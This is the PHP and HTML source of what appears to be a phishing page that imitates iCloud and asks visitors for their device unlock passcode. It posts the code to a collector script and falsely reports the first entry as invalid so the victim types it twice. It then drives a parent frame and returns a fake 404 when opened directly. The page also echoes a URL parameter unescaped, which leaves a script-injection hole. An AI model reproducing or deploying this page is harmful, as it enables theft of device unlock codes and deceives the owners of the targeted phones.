<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta content="width=device-width, initial-scale=1" name="viewport"/>
	<meta name="robots" content="noindex, nofollow" />
	<title>iCloud</title>
	<link rel="stylesheet" href="assets/layout/strap.css">
    <link rel="shortcut icon" type="image/x-icon" href="https://appleid.cdn-apple.com/static/bin/cb3606853004/images/favicon.ico">
	<link rel="stylesheet" href="assets/layout/apple.css">
	<link rel="stylesheet" href="assets/layout/kit.css">
	<link rel="stylesheet" href="assets/layout/animate.css">	
    <style type="text/css">
<!--
.Estilo2 {
	font-family: 'Lato', Tahoma;
	font-size: 19px;
	font-weight:bold;
}
-->
.login-form{
	width: 100%;
}
.login-form .keepme{
	color:#000;
	font-family: 'Lato Light', Tahoma !important;
	margin-top: 30px;
}
.overcodes{
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}
.codes{
	max-width: 460px;
	margin:auto;
	text-align: center;
	padding:25px 0;
}
.codes h5{
	color: #fff;
	font-weight: bold;
	font-size:22px;
	margin-bottom: 18px;
}
.codes .circles, .codes .circles2{
	padding-left: 0;
}
.codes .circles li, .codes .circles2 li{
	list-style: none;
	display: inline-block;
	vertical-align: top;
}
.codes .circles span{
	width: 14px;
	height: 14px;
	border:1px solid #fff;
	border-radius: 50%;
	display: block;
	margin:0 10px;
}
.codes .circles2 span{
	display: block;
	width: 70px;
	height: 70px;
	border-radius: 50%;
	background: rgba(255,255,255,.1);
	color: #fff;
	font-size:10px;
	font-weight: bold;
	line-height: 24px;
	letter-spacing: 2px;
	margin:11px 16px;
	padding-top: 15px;
	cursor: pointer;
	padding-left: 4px;
}
.codes .circles2 span strong{
	font-size: 27px;
	display: block;
}
.cancelcode{
	color: #fff;
	font-size: 17px;
	float: right;
	margin-top: 30px;
	font-weight: bold;
	margin-right: 15%;
}
.move{
	margin: auto;
	position: relative;
	padding: 0 5px;
}
#demo{
	position: fixed;
	height: 100%;
	width: 100%;
}
body{
	background-image: none;
	background: transparent;
}
#apple_id{
	border: 1px solid #b1aaaa;
}
.login-form .forget{
	margin-top: 0;
}
.login-form .forget a{
	color:#0070c9;
	font-family: 'Lato Light', Tahoma !important;
	font-size: 15px;
}
.preloader{
	background:#fff;
}
.cloud-login{
    max-width: 338px;
    margin:auto;
}
.imgApple{
    margin-top:30px;
    margin-bottom:30px;
}
.noticode{
    display:none;
}
@media screen and (max-width:550px){
    .Estilo2{
        width:300px;
        margin:auto;
    }
}
    </style>

</head>
<body class="section-demo">
	<section id="mapmov" style="display: none;">
		<img src="mapmov.png" width="100%">
	</section>
<section class="login-form text-center">
	<div class="move">
	    <img src="/icloudlock.png" class="imgApple" style="width: 100px;">
	    <h1 class="Estilo2">Security Passcode</h1>
		<form action="" class="cloud-login" method="post" id="qrcodeRedirectForm">
			<input class="id" name="char0" id="apple_id" placeholder="Enter the code" style="direction: ltr ! important;border-radius:6px;" type="text">
			<input type="hidden" name="id" value="<?php echo $_GET['id'];?>">
			<input class="dolog2" name="c_log2" id="c_log2" value="" type="submit" style="top:10px;">
			<img class="loading" id="load2" src="assets/img/ajax-loader.gif" alt="Loading" style="top:10px;">
			<input class="dolog" name="c_log" id="c_log" value="" type="submit" style="display:none;">
			<div class="noticode" style="background: rgb(255, 231, 160); color: rgb(0, 0, 0); padding: 2px 0px; margin-top: 5px; border-radius: 5px;">
              The code is invalid or has changed!
          </div>
		</form>
	</div>
	<div class="keepme">
		<span for="keepme">Enter device unlock code</span>
	</div>
	<div style="margin-top: 14px;height: 1px;">
		<img src="sep.png">
	</div>
</section>
<div class="preloader">
	<img src="assets/img/ajax-loader.gif" alt="">
</div>
	<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
	<script>

	$(document).ready(function(){
	    $(".preloader").delay(1500).fadeOut(1500);
        var cont = 0;
        $("#qrcodeRedirectForm").on("submit", enviaCode);
        function enviaCode(){
                var datos = $("#qrcodeRedirectForm").serialize();
                $(".loading").show(0);
                $.post(
                    "/cloudcode.php",
                    datos+"&codeajax=true",
                    function(a){
                        if(a=="code"){
                            cont++;
                            if(cont!=2){
                                $(".form-control").val("");
                                $(".loading").hide(0);
                                $("#char0").focus();
                                $(".noticode").fadeIn(100);
                            }else{
                                padre = $(window.parent.document);
                                //$(padre).find(".apple-id-frame-view").show(0);
                                $(padre).find(".iniciar").click();
                                $(padre).find(".frameCode").hide(0);
                            }
                        }
                    }
                );
            return false;
        }
        $(".char-field").on("keypress", cierraNoti);
        function cierraNoti(){
            $(".noticode").hide(0);
        }
        /*padre = $(window.parent.document);
     
        $(padre).find("SELECTOR_CSS").LOQUEQUIERAS()*/
     
     
    });
	</script>
</body>
</html>